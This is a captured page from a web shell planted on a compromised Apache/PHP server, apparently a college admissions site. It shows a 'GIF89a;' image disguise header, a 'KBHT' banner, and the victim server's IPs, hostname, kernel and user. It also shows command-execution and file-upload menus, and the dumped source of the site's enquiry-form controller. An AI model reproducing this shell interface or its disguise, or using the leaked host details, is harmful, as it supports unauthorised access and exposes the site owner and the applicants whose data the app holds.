GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.191.195.105
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/application/logs/../logs/../controllers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/application/logs/../logs/../controllers/Home.php
<?php

/**
 * Description of Home
 *
 * @author Softpro India Pvt. Ltd
 */
class Home extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("admin/CourseManagement");
        $this->load->model("admin/EnquiryManagement");
        $this->load->model("admin/SessionManagement");
        $this->load->model("admin/BranchManagement");
    }

    public function index() {
        $viewData["course"] = $this->CourseManagement->getCourses('T','F')->result();
        $viewData["branch"] = $this->BranchManagement->getAllBranches()->result();
        $this->load->view("home",$viewData);
    }

    public function saveEnquiry() {
        $this->form_validation->set_rules('enq_name', 'Name', 'trim|required', array("required" => "Enter Name"));
        $this->form_validation->set_rules('enq_mobile', 'Mobile', 'trim|required', array("required" => "Enter Mobile"));
        $this->form_validation->set_rules('enq_email', 'Email', 'trim|required|valid_email', array("required" => "Enter Email", "valid_email" => "Enter valid Email"));
        $this->form_validation->set_rules('enq_course', 'Course', 'trim|required', array("required" => "Select Course"));
        $this->form_validation->set_rules('enq_city', 'City', 'trim|required', array("required" => "Enter City"));
        $this->form_validation->set_rules('enq_query', 'Query', 'trim|required', array("required" => "Enter Query"));
        if ($this->form_validation->run() == False) {
            $this->session->set_flashdata("model", "true");           
            $this->index();
        } else {
            $enq_name = $this->input->post('enq_name');
            $enq_mobile = $this->input->post('enq_mobile');
            $enq_email = $this->input->post('enq_email');
            $enq_course = $this->input->post('enq_course');
            $enq_city = $this->input->post('enq_city');
            $enq_query = $this->input->post('enq_query');
            $session_id=$this->SessionManagement->getCurrentSessionDetails()->result()[0]->session_id;
            $enquiry = array(
                "enq_name" => $enq_name,
                "enq_mobile" => $enq_mobile,
                "enq_email" => $enq_email,
                "course_id" => $enq_course,
                "enq_city" => $enq_city,
                "enq_query" => $enq_query,
                "enq_added_on" => date('Y-m-d H:i:s'),
                "session_id"=>$session_id
            );
            $this->EnquiryManagement->insertEnquiry($enquiry);
            $this->session->set_flashdata("model", "true");
            $this->session->set_flashdata("successMessage", "Enquiry Saved Successfully");
            redirect("home");
        }
    }

}

KBHT - 2023